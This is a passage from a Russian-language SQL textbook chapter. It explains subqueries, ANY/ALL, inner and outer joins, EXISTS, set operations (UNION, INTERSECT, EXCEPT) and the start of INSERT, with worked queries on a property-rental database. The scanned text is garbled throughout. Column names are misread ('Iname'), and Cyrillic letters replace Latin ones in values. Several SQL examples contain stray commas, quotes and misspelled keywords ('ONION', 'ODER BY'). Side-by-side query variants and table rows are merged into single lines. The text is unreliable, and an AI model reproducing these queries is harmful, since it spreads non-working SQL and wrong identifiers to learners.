Таблица 13.20. Результат выполнения запроса из примера 13.18
bno
count
sum
вз
3
54000.00
В5
2
39000.00
(2 строки)
Подзапросы
В этом разделе мы обсудим использование законченных операторов SELECT, внедренных в тело другого оператора SELECT. Внешний (второй) оператор SELECT использует результат выполнения внутреннего (первого) оператора для определения содержания окончательного результата всей операции. Внутренние запросы могут быть помещены в предложения WHERE и HAVING внешнего оператора SELECT — в этом случае они получают название подзапросов, или вложенных запросов. Кроме того, внутренние операторы SELECT могут использоваться в операторах INSERT, UPDATE и DELETE (раздел 13.3.10). Существует три типа подзапросов.
Скалярный подзапрос возвращает значение, выбираемое из пересечения одного столбца с одной строкой, — т.е. единственное значение. В принципе, скалярный подзапрос может использоваться везде, где требуется указать единственное значение. Образцы скалярных подзапросов приведены в примерах 13.19 и 13.20.
Строковый подзапрос возвращает значения нескольких столбцов таблицы, но в виде единственной строки. Строковый подзапрос может использоваться везде, где применяется конструктор строковых значений — обычно это предикаты. Образец строкового подзапроса приведен в примере 13.21.
Табличный подзапрос возвращает значения одного или больше столбцов таблицы, размещенные в более чем одной строке. Табличный подзапрос может использоваться везде, где допускается указывать таблицу — например, как операнд предиката IN.
Пример 13.19. Использование подзапроса с проверкой на равенству
Составьте список персонала, работающего в отделении компании, расположенном на улице 'Main St' в доме 163.
SELECT sno, fname, Iname, position FROM staff
WHERE bno =
(SELECT bno
FROM branch,
WHERE street = '163 Main St');
Внутренний оператор SELECT (SELECT bno FROM branch ...) предназначен для определения номера отделения компании, расположенного по адресу '163 Main St'. (Существует только одно подобное отделение компании, поэтому данный пример является примером скалярного подзапроса.) После получения номера требуемого отделения выполняется внешний подзапрос, предназначенный для выборки подробных сведений о работниках этого отделения. Иначе говоря, внутренний оператор SELECT возвращает таблицу, состоящую из единственного значения 'ВЗ'. Оно представляет собой номер того отделения компании, которое расположено в доме 163 на улице Main Street. В результате внешний оператор SELECT приобретает следующий вид:
SELECT sno, fname, Iname, position FROM staff
WHERE bno = 'B3';
Результаты выполнения этого запроса представлены в табл. 13.21.
' Таблица 13.21. Результат выполнения запроса из примера 13.19
sno
fname
Iname
position
SG37
Ann
Beech
Snr Asst
SG14
David
Ford
Deputy
SG5
Susan
Brand
Manager
(3 строки)
Подзапрос представляет собой инструмент создания временной таблицы, содержимое которой извлекается и обрабатывается внешним оператором. Подзапрос может указываться непосредственно после операторов сравнения (т.е. операторов =, <, >♦ <=, >=, <>) в предложениях WHERE и HAVING. Текст подзапроса должен быть заключен в скобки.
Пример 13.20. Использование подзапросов с обобщающими функциями
Составьте список всех сотрудников, имеющих зарплату выше средней, указав > то, насколько их зарплата превышает среднюю зарплату по предприятию.
‘ SELECT sno, fname, Iname, position, salary - (SELECT avg(salary) FROM staff)
* AS sal_diff
FROM staff
WHERE salary >
(SELECT avg(salary)
FROM staff);
Необходимо отметить, что нельзя прямо использовать предложение 'WHERE salary >
avg(salary)', поскольку применять обобщающие функции в предложениях WHERE запрещено. Для достижения желаемого результата следует создать подзапрос, вычисляющий среднее значение годовой заработной платы, а затем использовать его во внешнем операторе SELECT, предназначенном для выборки сведений о тех работниках компании, чья зарплата превышает это среднее значение. Иначе говоря, подзапрос возвращает значение средней зарплаты по компании в год, равное 17 000 фунтов стерлингов. Результат выполнения этого скалярного подзапроса используются во внешнем операторе SELECT как для вычисления отклонения зарплаты от среднего уровня, так и для отбора сведений о работниках. Поэтому внешний оператор SELECT приобретает следующий вид:
SELECT sno, fname, Iname, position, salary - 17000 AS sal_diff FROM staff
WHERE salary > 17000;
Результаты выполнения запроса представлены в табл. 13.22
Таблица 13.22. Результат выполнения запроса из примера 13.20
sno
fname
Iname
position
sal.diff
SL21
John
White
Manager
13000.00
SG14
David
Ford
Deputy
1000.00
SG5
Susan
Brand
Manager
7000.00
(3 строки)
К подзапросам применяются следующие правила и ограничения.
В подзапросах не должна использоваться фраза ORDER BY, хотя она может присутствовать во внешнем запросе.
Список в предложении SELECT подзапроса должен состоять из имен отдельных столбцов или составленных из них выражений — за исключением случая, когда в подзапросе используется ключевое слово EXISTS (раздел 13.3.8).
По умолчанию имена столбцов в подзапросе относятся к таблице, имя которой указано в его предложении FROM. Однако допускается ссылаться и на столбцы таблицы, указанной во фразе FROM внешнего запроса, для чего используются квалифицированные имена столбцов (читайте ниже).
Если подзапрос является одним из двух операндов, участвующих в операции сравнения, то запрос должен указываться в правой части этой операции. Например, приведенный ниже вариант записи запроса из предыдущего примера является некорректным, поскольку подзапрос размещен в левой части операции сравнения со значением столбца Salary:
SELECT sno, fname, Iname, position, salary FROM staff
WHERE (SELECT avg(salary) FROM staff) < salary;
Пример !3.21. Вложенные подзапросы и использование предиката IN
Составьте перечень сдаваемых в аренду объектов» за которые отвечают работники отделения компании, расположенного на улице 'Main St' в доме 163.
SELECT pno, street, area, city, pcode, type, rooms, rent
FROM property for rent
WHERE sno IN “ ~
(SELECT sno
FROM staff
WHERE bno =
(SELECT bno FROM branch WHERE street = '163 Main St'));
Первый, самый внутренний, запрос предназначен для определения номера отделения компании, расположенного по адресу '163 Main St'. Второй, промежуточный, запрос осуществляет выборку сведений о персонале, работающем в этом отделении. В данном случае выбирается более одной строки данных, и поэтому во внешнем запросе нельзя использовать оператор сравнения =. Вместо него необходимо использовать ключевое слово IN. Внешний запрос осуществляет выборку сведений о сдаваемых в аренду объектах, за которые отвечают те работники компании, данные о которых были получены в результате выполнения промежуточного запроса. Результаты выполнения запроса представлены в табл. 13.23.'
Таблица 13.23. Результат выполнения запроса из примера 13.21
рпо
street
area
city
pcode
type
rooms
rent
PG4
6 Lawrence St
Partick
Glasgow
G11 9QX
Hat
3
350
PG16
5 Novar Dr
Hyndland
Glasgow
G12 9AX
Hat
4
450
PG36
2 Manor Rd
Glasgow
G32 4QX
Hat
3
375
PG21
18 Dale Rd
Hyndland
Glasgow
G12
House
5
600
(4 строки)
Ключевые слова ANY и ALL
Ключевые слова ANY и ALL могут использоваться с подзапросами, возвращающими один столбец чисел. Если подзапросу будет предшествовать ключевое слово ALL, условие сравнения считается выполненным только в том случае, если оно выполняется для всех значений в результирующем столбце подзапроса. Если записи подзапроса предшествует ключевое слово ANY, то условие сравнения будет считаться выполненным, если оно выполняется хотя бы для одного из значений в результирующем столбце подзапроса. Если в результате выполнения подзапроса будет получено пустое значение, то для ключевого слова ALL условие сравнения будет считаться выполненным, а для ключевого слова ANY — невыполненным. Согласно стандарту ISO дополнительно можно использовать ключевое слово SOME, являющееся синонимом ключевого слова ANY.
Пример 13.22. Использование ключевых слов ANY и SOME
Найдите всех работников, чья зарплата превышает зарплату хотя бы одного работника отделения компании под номером 'ВЗ'.
SELECT sno, fname, Iname, position, salary
FROM staff
WHERE salary > SOME
(SELECT salary
FROM staff
WHERE bno = 'B3');
Хотя этот запрос может быть записан с использованием подзапроса, определяющего минимальную зарплату персонала отделения под номером 'ВЗ', после чего внешний подзапрос сможет выбрать сведения обо всем персонале компании, чья зарплата превосходит это значение (см. пример 13.20), возможен и другой подход, заключающийся в использовании ключевых слов SOME/ANY. В этом случае внутренний подзапрос создает набор числовых значений {12 000, 18 000, 24 000}, а внешний запрос выбирает сведе- ' ния о тех работниках, чья зарплата больше любого из значений в этом наборе
(фактически, больше минимального значения — 12 000). Подобный альтернативный метод можно считать более естественным, чем определение в подзапросе минимальной неоплаты. Результаты выполнения запроса представлены в табл. 13.24.
Таблица 13.24. Результат выполнения запроса из примера 13.22
sno
Iname
Iname
position
salary
SL21
John
White
Manager
30000.00
SG14
David
Ford
Depub/
18000.00
SG5
Susan
Brand
Manager
24000.00
(3 строки)
Пример 13.23. Использование ключевого слова ALL
Найдите всех работников, чья заработная плата больше заработной платы любого работника отделения компании под номером 'ВЗ'.
SELECT sno, fname, Iname, position, salary
FROM staff
WHERE salary > ALL
(SELECT salary
FROM staff
WHERE bno = 'B3r);
В целом этот запрос подобен предыдущему. И в данном случае можно было бы использовать подзапрос, определяющий максимальное значение зарплаты персонала ' отделения под номером ' ВЗf, после чего с помощью внешнего запроса выбрать сведения обо всех работниках компании, зарплата которых превышает это значение. Однако в данном примере выбран подход с использованием ключевого слова ALL. Результаты выполнения запроса представлены в табл. 13.25.
Таблица 13.25. Результат выполнения запроса из примера 13.23
sno
fname
Iname
position
salary
SL21
John
White
Manager
30000.00
(1 строка)
Многотабличные запросы
Все рассмотренные выше примеры имеют одно и то же важное ограничение: помещаемые в результирующую таблицу столбцы всегда выбираются из единственной таблицы. Однако во многих случаях этого оказывается недостаточно. Для того чтобы объединить в результирующей таблице столбцы из нескольких исходных таблиц, необходимо выполнить операцию соединения. В языке SQL операция соединения используется для объединения информации из двух таблиц посредством образования пар связанных строк, выбранных из каждой таблицы. Помещаемые в объединенную таблицу пары строк составляются по равенству входящих в них значений указанных столбцов.
Если необходимо получить информацию более чем из одной таблицы, то можно либо применить подзапрос, либо выполнить соединение таблиц. Если результирующая таблица запроса должна содержать столбцы из разных исходных таблиц, то целесообразно использовать механизм соединения таблиц. Для выполнения соединения достаточно в предложении FROM указать имена двух и более таблиц, разделив их запятыми, после чего включить в запрос предложение WHERE с определением столбцов, используемых для соединения указанных таблиц. Кроме того, вместо имен таблиц можно использовать назначенные им в предложении FROM псевдонимы (алиасы). В этом случае
имена таблиц и назначаемые им 12севдонимы должны разделяться пробелами. Псевдонимы могут использоваться с целью квалификации имен столбцов во всех тех случаях, когда возможно появление неоднозначности. Кроме того, псевдонимы могут использоваться как сокращения имен таблиц. Если для таблицы определен псевдоним, он может использоваться в любом месте, где требуется указание имени этой таблицы.
Пример 13.24. Простое соединение
Составьте список имен всех клиентов, которые уже осмотрели хотя бы один сдаваемый в аренду объект и сообщили свое мнение по этому поводу.
SELECT г.rno, fname, Iname, pno, comment
FROM renter r, viewing v
WHERE r.rno = v.rno;'
В этом отчете требуется представить сведения как из таблицы Renter, так и из таблицы Viewing, поэтому при построении запроса мы воспользуемся механизмом соединения таблиц. В предложении SELECT перечисляются все столбцы, которые должны быть помещены в результирующую таблицу запроса. Обратите внимание, что для столбца с номером клиента (Rno) необходимо указать квалификатор — этот столбец может быть выбран из любой соединяемой таблицы, поэтому необходимо явно указать, значения какой таблицы нас интересуют. (В данном примере с тем же успехом можно было выбирать значения столбца Rno из таблицы Viewing.) Ква- лифицирование имени осуществляется посредством указания перед именем столбца имени той таблицы (или ее псевдонима), из которой он выбирается. В нашем примере используется значение 'г', заданное как псевдоним таблицы Renter.
Для построения результирующих строк используются те строки исходных таблиц, которые имеют идентичное значение в столбце Rno. Это условие определяется посредством задания условия поиска r.rno=v.rno. Подобные столбцы исходных таблиц называют сочетаемыми столбцами. Описанная операция эквивалентна операции соединения по равенству, обсуждавшейся в разделе 3,4.1. Результаты выполнения запроса представлены в табл. 13.26.
Таблица 13.26. Результат выполнения запроса из примера 13.24
rno
fname
Iname
pno
comment
CR56
Aline
Stewart
PG36
CR56
Aline
Stewart
PAU
too small
CR56
Aline
Stewart
PG4
CR62
Mary
Tregear
PAU
no dining room
CR76
John
Kay
PG4
too remote
(5 строк)
Чаще всего многотабличные запросы выполняются для двух таблиц, соединенных связью типа 1:М. В приведенном выше примере, включающем обращение к таблицам Renter и Viewing, эти таблицы соединены именно такой связью. Каждая строка таблицы Viewing (дочерняя) связана с лишь одной строкой таблицы Renter (родительской), тогда как одна и та же строка таблицы Renter (родительская) может быть связана со многими строками таблицы Viewing (дочерней). Пары строк, которые генерируются при выполнении запроса, представляют собой результат всех допустимых комбинаций строк дочерней и родительской таблиц. В разделе 3.2.5 было подробно описано, как в реляционной базе данных первичный и внешний ключи таблиц могут использоваться для создания между ними связи типа “родительская-
дочерняя”. Таблица, содержащая внешний ключ, обычно является дочерней, тогда как таблица, содержащая первичный ключ, всегда будет родительской. Для использования связи типа “родительская-дочерняя” в SQL-запросе необходимо указать условие поиска, в котором будут сравниваться внешний и первичный ключи. В примере 13.24 первичный ключ таблицы Renter (r.rno) сравнивается с внешним ключом таблицы Viewing (v.rno).
Стандарт SQL2 дополнительно предоставляет следующие способы определения данного соединения:
FROM renter г JOIN viewing v ON r.rno = v.rno
FROM renter JOIN viewing USING rno
FROM renter NATURAL JOIN viewing
В каждом случае предложение FROM замещает исходные предложения FROM и WHERE. Однако в первом варианте создается таблица с двумя идентичными столбцам Rno, тогда как в остальных двух случаях результирующая таблица будет содержать только один столбец Rno.
Пример 13.25. Сортировка результатов соединения таблиц
Для каждого отделения компании перечислите имена работников, отвечающих за какие-либо сдаваемые в аренду объекты, а также укажите объекты, за которые они отвечают.
SELECT s.bno, s.sno, fname, Iname, pno
FROM staff s, property_for_rent p
WHERE s.sno = p.sno;
Результаты выполнения запроса представлены в табл. 13.27.
Таблица 13.27. Результат выполнения запроса из примера 13.25 (без сортировки выбранных данных)
Ьпо
sno
fname
Iname
pno
ВЗ
SG14
David
Ford
PG4
83
SG14
David
Ford
PG16
85
SL41
Julie
Lee
PL94
83
SG37
Ann
Beech
PG21
83
SG37
Ann
Beech
PG36
87
SA9
Mary
Howe
PA14
(6 строк)
Для того чтобы результаты выполнения запроса имели более удобочитаемый вид, целесообразно переупорядочить строки результирующей таблицы по номеру отделения (старший ключ сортировки), табельному номеру работника и номеру сдаваемого в аренду объекта (младшие ключи сортировки). В этом случае запрос будет иметь следующий вид:
SELECT s.bno, s.sno, fname, Iname, pno
FROM staff s, property_for_rent p
WHERE s.sno = p.sno
ORDER BY s.bno, s.sno, pno;
Результаты выполнения запроса представлены в табл. 13.28.
Таблица 13.28. Результат выполнения запроса из примера 13.25 (с сортировкой выбранных данных по bno, sno и рпо)
bno
sno
fname
lname
pno
B3
SG14
David
Ford
PG16
B3
SG14
David
Ford
PG4
B3
SG37
Ann
Beech
PG21
B3
SG37
Ann
Beech
PG36
B5
SL41
Julie
Lee
PL94
B7
SA9
Mary
Howe
PA14
(6 строк)
Пример 13.26. Соединение трех таблиц
Для каждого отделения компании перечислите работников, отвечающих за какие-либо сдаваемые в аренду объекты, с указанием города, в котором расположено данное отделение компании, и номеров объектов.
SELECT b.bno, b.city, s.sno, fname, lname, pno
FROM branch b, staff s, property_for_rent p
WHERE b.bno = s.bno AND s.sno = p.sno
ORDER BY b.bno, s.sno, pno;
В результирующую таблицу необходимо поместить столбцы из трех исходных таблиц — Branch, Staff и Property_for_Rent, — поэтому в запросе следует выполнить соединение этих таблиц. Таблицы Branch и Staff могут быть соединены с помощью условия b.bno=s.bno, в результате чего отделения компании будут связаны с работающим в них персоналом. Таблицы Staff и Property_for_Rent могут быть соединены с помощью условия s.sno=p.sno. В результате каждый работник будет связан с теми сдаваемыми в аренду объектами, за которые он отвечает. Результаты выполнения запроса представлены в табл. 13.29.
Таблица 13.29. Результаты выполнения запроса из примера 13.26
bno
city
sno
fname
lname
pno
B3
Glasgow
SG14
David
Ford
PG16
B3
Glasgow
SG14
David
Ford
PG4
B3
Glasgow
SG37
Ann
Beech
PG21
B3
Glasgow
SG37
Ann
Beech
PG36
B5
London
SL41
Julie
Lee
PL94
B7
Aberdeen
SA9
Mary
Howe
PA14
(6 строк)
Заметим, что стандарт SQL2 позволяет использовать альтернативный вариант формулировки предложений FROM и WHERE:
FROM (branch b JOIN staff s USING bno) AS
bs JOIN property_for__rent p USING sno
Пример 13.27. Группирование по нескольким столбцам ■
Определите количество сдаваемых в аренду объектов, за которые отвечает каждый из работников компании.
SELECT s.bno, s.sno, COUNT(*) AS count
FROM staff s, property_for_rent p
WHERE s.sno = p.sno
GROUP BY s.bno, s.sno
ORDER BY s.bno, s.sno;
Чтобы составить требуемый отчет, прежде всего необходимо выяснить, какие из работников компании отвечают за сдаваемые в аренду объекты. Эту задачу можно решить посредством соединения таблиц Staff и Property_for_Rent по ключу Sno в предложениях FROM/WHERE. Затем необходимо сформировать группы, состоящие из номера отделения и табельных номеров его работников, для чего следует определить предложение GROUP BY. Наконец, результирующая таблица должна быть переупорядочена с помощью задания предложения ORDER BY. Результаты выполнения запроса представлены в табл. 13.30.
Таблица 13.30. Результат выполнения запроса из примера 13.27
Ьпо
sno
count
ВЗ
SG14
2
ВЗ
SG37
2
В5 *
SL41
1
В7
SA9
1
[ (4 строки)
Выполнение соединений
Соединение является подмножеством более общей комбинации данных двух таблиц, называемой их декартовым произведением (см. раздел 3.4.1). Декартово произведение двух таблиц представляет собой другую таблицу, состоящую из всех возможных пар строк, входящих в состав обеих таблиц. Набор столбцов результирующей таблицы представляет собой все столбцы первой таблицы, за которыми следуют все столбцы второй таблицы. Если ввести запрос к двум таблицам без задания предложения WHERE, результат выполнения запроса в среде SQL будет представлять собой декартово произведение содержимого этих таблиц. Кроме того, стандарт ISO предусматривает специальный формат оператора SELECT, позволяющий вычислить декартово произведение двух таблиц:
SELECT [DISTINCT | ALL] {* | columnTist}
FROM table name! CROSS JOIN table name2
Еще раз рассмотрим пример 13.24, в котором соединение таблиц Renter и Viewing выполняется с использованием общего столбца Rno. При работе с таблицами, содержимое которых приведено в табл. 3.6 и 3.8, декартово произведение этих таблиц будет включать 20 строк (4 строки таблицы Renter х 5 строк таблицы Viewing ^ 20 строк). Это эквивалентно выдаче используемого в примере 13.24 запроса, но без указания предложения WHERE.
Процедура генерации результирующей таблицы содержащего соединение оператора SELECT состоит в следующем.
Формируется декартово произведение таблиц, указанных в предложении FROM.
Если в запросе присутствует предложение WHERE, применение условий поиска к каждой строке таблицы производится с сохранением в таблице только тех строк, которые удовлетворяют заданным условиям. В терминах реляционной алгебры эта операция называется ограничением декартового произведения.
Для каждой оставшейся строки определяется значение каждого элемента, указанного в списке предложения SELECT, в результате чего формируется отдельная строка результирующей таблицы.
Если в исходном запросе присутствует фраза SELECT DISTINCT, из результирующей таблицы удаляются все строки-дубли. В реляционной алгебре действия, выполняемые на 3 и 4 этапах, эквивалентны операции проекции по столбцам, заданным в списке предложения SELECT.-
Если выполняемый запрос содержит предложение ODER BY, осуществляется пе- реупорядочивание строк результирующей таблицы.
Открытые соединения
При выполнении операции соединения данные из двух таблиц комбинируются с образованием пар связанных строк, в которых значения сопоставляемых столбцов одинаковые. Если строка одной из таблиц не находит себе соответствия в другой, то она не попадает в результирующий набор данных. Именно это правило применялось во всех рассмотренных выше примерах соединения таблиц. Стандартом ISO предусмотрен и другой набор операторов соединений, называемых открытыми соединениями (см. раздел 3.4.1). При открытом соединении в результирующую таблицу помещаются также строки, не удовлетворяющие условию соединения. Чтобы понять особенности выполнения операций открытых соединений, воспользуемся упрощенными таблицами Branch и Property_for_Rent, содержимое которых представлено в табл. 13.31 и 13.32.
Таблица 13.31. Таблица BRANCH1
bno
bcity
ВЗ
Glasgow
В4
Bristol
В2
London
Таблица 13.32. Таблица Property for_Rentl
pno
pcity
PA14
Aberdeen
PL94
London
PG4
Glasgow
Обычное (закрытое) соединение этих таблиц выполняется с помощью следующего SQL-оператора:
SELECT b.*, р.*
FROM branchi b, property_for_rentl p
WHERE b.bcity = p.pcity;
Результаты выполнения этого запроса представлены в табл. 13.33.
Таблица 13.33. Результат внутреннего соединения упрощенных таблиц Branch и Property_for_Rent
Ьпо
bcity
pno
petty
вз
Glasgow
- PG4
Glasgow
В2
London
PL94
London
(2 строки)
Как можно видеть, в результирующей таблице запроса имеются только две строки, содержащие одинаковые названия городов, выбранные из обеих таблиц. Обратите внимание, что в исходных данных нет соответствия для отделения компании в Глазго и для объекта, сдаваемого в аренду в городе Абердин. Если в результирующую таблицу потребуется включить и эти не имеющие соответствия строки, то следует использовать открытое соединение. Существует три типа открытых соединений: левое, правое и полное открытое. Рассмотрим особенности каждого из них на приведенных ниже примерах.
Пример 13.28. Левое открытое соединение
Перечислите отделения компании и сдаваемые в аренду объекты, которые расположены в одном и том же городе, а также прочие отделения компании.
Используем левое открытое соединение этих двух таблиц, которое выглядит следующим образом:
SELECT b.*, р.*
FROM branchi b LEFT JOIN property_for_rentl p ON b.bcity = p.pcity;
Результаты выполнения этого запроса представлены в табл. 13.34.
Таблица 13.34. Результат выполнения запроса из примера 13.28
bno
bcity
pno
petty
B3
Glasgow
PG4
Glasgow
B4
Bristol
NULL
NULL
B2
London
PL94
London
(3 строки)
В этом примере за счет применения левого открытого соединения в результирующую таблицу попали не только две строки, в которых имеется соответствие между названиями городов, но также та строка первой из соединяемых таблиц (левой), которая не нашла себе соответствия во второй таблице. В этой строке все поля второй таблицы заполнены значениями NULL.
Пример 13.29. Правое открытое соединение
Перечислите отделения компании и сдаваемые в аренду объекты, которые расположены в одном и том же городе, а также все остальные объекты.
Используем правое открытое соединение этих двух таблиц, которое выглядит следующим образом:
SELECT b.*, р.*
FROM branchi b RIGHT JOIN property for rentl p ON b.bcity = p.pcity;
Результаты выполнения этого запроса представлены в табл. 13.35.
Таблица 13.35. Результат выполнения запроса из примера 13.29
bno
bcity
pno
pcity
NULL
NULL
PA14
Aberdeen
ВЗ
Glasgow
PG4
Glasgow
В2
London
PL94
London
(3 строки)
В этом примере при выполнении правого открытого соединения в результирующую таблицу были включены не только те две строки, которые имеют одинаковые значения в сопоставляемых столбцах, но также и та строка из второй (правой) таблицы, которой не нашлось соответствия в первой (левой) таблице. В этой строке все поля из первой таблицы получили значения NULL.
Пример 13.30. Полное открытое соединение■
Перечислите отделения компании и сдаваемые в аренду объекты, расположенные в одном и том же городе, а также все остальные отделения и объекты.
Используем полное открытое соединение этих таблиц, которое выглядит следующим образом:
SELECT b.*, р.*
FROM branchi b FULL JOIN propertyfor rent p ON b.bcity = p.pcity;•
Результаты выполнения этого запроса представлены в табл. 13.36.,
Таблица 13.36. Результат выполнения запроса из примера 13.30
bno
bcity
pno
pcity
NULL
NULL
PA14
Aberdeen
B3
Glasgow
PG4
Glasgow
B4
Bristol
NULL
NULL
B2
London
PL94
London
(4 строки)
В случае полного открытого соединения в результирующую таблицу помещаются не только те две строки, которые имеют одинаковые значения в сопоставляемых 1 столбцах, но и все остальные строки исходных таблиц, не нашедшие себе соответствия. В этих строках все столбцы той таблицы, в которой не было найдено соответствия, заполняются значениями NULL. На момент написания этой книги суще- > ствовало лишь несколько СУБД, поддерживавших выполнение запросов с опера- : циями открытых соединений.
Ключевые слова EXISTS и NOT EXIST
Ключевые слова EXISTS и NOT EXISTS предназначены для использования только совместно с подзапросами. Результат их обработки представляет собой логическое значение TRUE или FALSE. Для ключевого слова EXISTS результат равен TRUE в том и только в том случае, если в возвращаемой подзапросом результирующей таблице присутствует хотя бы одна строка. Если результирующая таблица подзапроса пуста, результатом обработки ключевого слова EXISTS будет значение FALSE. Для ключевого слова NOT EXISTS используются правила обработки, обратные по отношению к ключевому слову EXISTS.
Поскольку по ключевым словам EXISTS и NOT EXISTS проверяется лишь наличие строк в результирующей таблице подзапроса, то эта таблица может содержать произвольное количество столбцов. Как правило, с целью упрощения во всех следующих за обсуждаемыми ключевыми словами подзапросах применяется такая форма записи:
(SELECT * FROM . . . )
Пример13.31. Запрос с использованием ключевого слова EXISTS
Перечислите всех сотрудников компании, которые работают в ее лондонском отделении.
SELECT sno, fname, Iname, position
FROM staff s
WHERE EXISTS
(SELECT *
FROM branch b
WHERE s.bno = b.bno AND city = 'London');
Этот запрос можно перефразировать следующим образом: “Выбрать сведения обо всех работниках, для которых в таблице Branch существует запись, содержащая тот же номер отделения Впо, который указан для данного работника, и в которой значение столбца City равно 'London'”. Проверка необходимости включения сведений о работнике в результирующую таблицу заключается в анализе существования подобной записи. Если она существует, результат обработки ключевого слова EXISTS будет равен TRUE. Результаты выполнения запроса представлены в табл. 13.37.
Таблица 13.37. Результат выполнения запроса из примера 13.31
sno
fname
Iname
position
SL21
John
White
Manager
SL41
Julie
Lee
Assistant
(2 строки)
Обратите внимание, что первая часть условия поиска, s.bno=b.bno, необходима для получения гарантий того, что для каждого работника будет анализироваться корректная строка данных об отделении компании. Если опустить это условие, то в результирующую таблицу запроса будут помещены сведения обо всех работниках компании, поскольку подзапрос SELECT * FROM branch WHERE city-'London' всегда будет возвращать не менее одной строки и проверка существования в каждом случае будет давать значение TRUE. В результате запрос будет иметь следующий вид:
SELECT sno, fname, Iname, position FROM staff WHERE true;
Этот оператор эквивалентен следующему:
SELECT sno, fname, Iname, position FROM staff;
Кроме того, этот запрос можно записать, используя методы соединения:
SELECT sno, fname, Iname, position
FROM staff s, branch b
WHERE s.bno = b.bno AND city = 'London';
Комбинирование результирующих таблиц (операции UNION, INTERSECT и EXCEPT)
В языке SQL можно использовать обычные операции над множествами — объединение (union), пересечение (intersection) и разность (difference), — позволяющие комбинировать результаты выполнения двух и более запросов в единую результи-
рующую таблицу. Объединением двух таблиц А и В называется таблица, содержащая все строки, которые имеются в первой таблице (А), во второй таблице (В) или в обеих этих таблицах сразу. Пересечением двух таблиц называется таблица, содержащая все строки, присутствующие в обеих исходных таблицах одновременно. Разностью двух таблиц А и В называется таблица, содержащая все строки, которые присутствуют в таблице А, но отсутствуют в таблице В. Все эти операции над множествами графически представлены на рис. 13.1.
(а)объединение(а)объединение(Ь)пересечение(Ь)пересечение
(а)объединение
(а)объединение
(Ь)пересечение
(Ь)пересечение
Рис. 13.1. Графическое представление операций над множествами (соединение, пересечение и разность)
На таблицы, которые могут комбинироваться с помощью операций над множествами, накладываются определенные ограничения. Самое важное из них состоит в том, что таблицы должны быть совместимы по соединению — т.е. они должны иметь одну и ту же структуру. Это означает, что таблицы должны иметь одинаковое количество столбцов, причем в соответствующих столбцах должны размещаться данные одного и того же типа и длины. Обязанность убедиться в том, что значения данных соответствующих столбцов принадлежат одному и тому же домену, возлагается на пользователя. Например, мало смысла в том, чтобы объединять столбец с данными о возрасте работников с информации о количестве комнат в сдаваемых в аренду объектах, хотя оба столбца будут иметь один и тот же тип данных — SMALLINT.
Три операции над множествами, предусмотренные стандартом ISO, носят название UNION, INTERSECT и EXCEPT. В каждом случае формат предложения с операцией над множествами должен быть следующим:
| operator [ALL] [CORRESPONDING [BY {columnl [,...]}]] |
При указании фразы CORRESPONDING BY операция над множествами выполняется для указанных столбцов. Если задано только ключевое слово CORRESPONDING, а фраза BY отсутствует, операция над множествами выполняется для столбцов, которые являются общими для обеих таблиц. Если указано ключевое слово ALL, результирующая таблица может содержать дублирующиеся строки.
Одни диалекты языка SQL не поддерживают операций INTERSECT и EXCEPT, а в других вместо ключевого слова EXCEPT используется ключевое слово MINUS.
Пример 13.32. Использование операции ONION,
Создайте список всех регионов, в которых либо находится отделение компании, - либо располагаются сдаваемые в аренду объекты.
(SELECT areaили
FROM branch
' WHERE area IS NOT NULL) UNION
: (SELECT area
> FROM property for rent
WHERE area IS NOT NULL);
(SELECT *
FROM branch
WHERE area IS NOT NULL)
UNION CORRESPONDING BY area (SELECT *
FROM property for rent
WHERE area IS NOT NULL);
Этот запрос выполняется посредством подготовки результирующей таблицы первого запроса и результирующей таблицы второго запроса с последующим слиянием обеих таблиц в единую результирующую таблицу, которая включает все строки из обеих промежуточных таблиц, но с удалением дублирующихся строк. Окончательный результат выполнения запроса представлен в табл. 13.38.
Таблица 13.38. Результат выполнения запроса из примера 13.32
area
Sidcup
Dyce
Partick
LeighDeeKilburnHyndland
(7 строк)
Пример 13.33. Использование операции INTERSECT
Создайте список всех городов, в которых располагаются и отделения компании, и сдаваемые в аренду объекты.
(SELECT cityили (SELECT *
FROM branch)FROM branch)
INTERSECTINTERSECT CORRESPONDING BY city
(SELECT city(SELECT *
FROM property for rent);FROM propertyforrent);
Этот запрос выполняется посредством подготовки результирующей таблицы первого запроса и результирующей таблицы второго запроса с последующим созданием единой результирующей таблицы, включающей только те строки, которые являются общими для обеих промежуточных таблиц. Окончательный результат выполнения запроса представлен в табл. 13.39.
Таблица 13.39. Результат выполнения запроса из примера 13.33
city
’ Aberdeen
GlasgowLondon
(3 строки)
. Этот запрос можно записать и без использования операции INTERSECT:
(SELECT b.cityили SELECT DISTINCT city
FROM branch b, property_for_rent p FROM branch b
WHERE b.city = p.city;WHERE EXISTS
,(SELECT *
;FROM property_for_rent p
!WHERE p.city = b.city);
, Возможность создавать запросы в нескольких эквивалентных формах является од. ним из самых существенных недостатков языка SQL.
Пример 13.34. Использование операции EXCEPT
Создайте список всех городов, в которых имеется отделение компании, но нет сдаваемых в аренду объектов.'
(SELECT cityили (SELECT *
FROM branch)FROM branch)
EXCEPTEXCEPT CORRESPONDINGBY city
(SELECT city(SELECT *
FROM property_for_rent);FROM property_for_rent);
Этот запрос выполняется посредством подготовки результирующей таблицы первого запроса и результирующей таблицы второго запроса с последующим созданием единой результирующей таблицы, включающей только те строки, которые имеются в первой промежуточной таблице, но отсутствуют во второй. Окончательный результат выполнения запроса представлен в табл. 13.40.
Таблица 13.40. Результат выполнения запроса из примера 13.34
city' *
Bristol
(1 строка)
Этот запрос можно записать и без использования операции EXCEPT:
SELECT DISTINCT cityили
- FROM branch
WHERE city NOT IN (SELECT city FROM property for rent);
SELECT DISTINCT city FROM branch b
WHERE NOT EXISTS
(SELECT *
FROM property for rent p WHERE p.city = b. city);
Изменение содержимого базы данных
Язык SQL является полнофункциональным языком манипулирования данными, который может использоваться не только для выборки данных из базы, но и для модификации ее содержимого. Операторы модификации информации в базе данных не столь сложны, как оператор SELECT. В этом разделе мы обсудим три оператора языка SQL, предназначенных для модификации содержимого базы данных.
INSERT — предназначен для добавления данных в таблицу.
UPDATE — предназначен для модификации уже помещенных в таблицу данных.
DELETE — позволяет удалять из таблицы строки данных.
Добавление новых данных в таблицу (оператор INSERT)
Существует две формы оператора INSERT. Первая предназначена для вставки единственной строки в указанную таблицу. Эта форма оператора INSERT имеет следующий формат:
INSERT INTO tablejxame [(column_list)]
VALUES ^data_value_list^
Здесь параметр table_name (Имя таблицы) может представлять либо имя таблицы базы данных, либо имя обновляемого представления (раздел 14.1). Параметр col- umn_list (Список столбцов) представляет собой список, состоящий из имен одного или
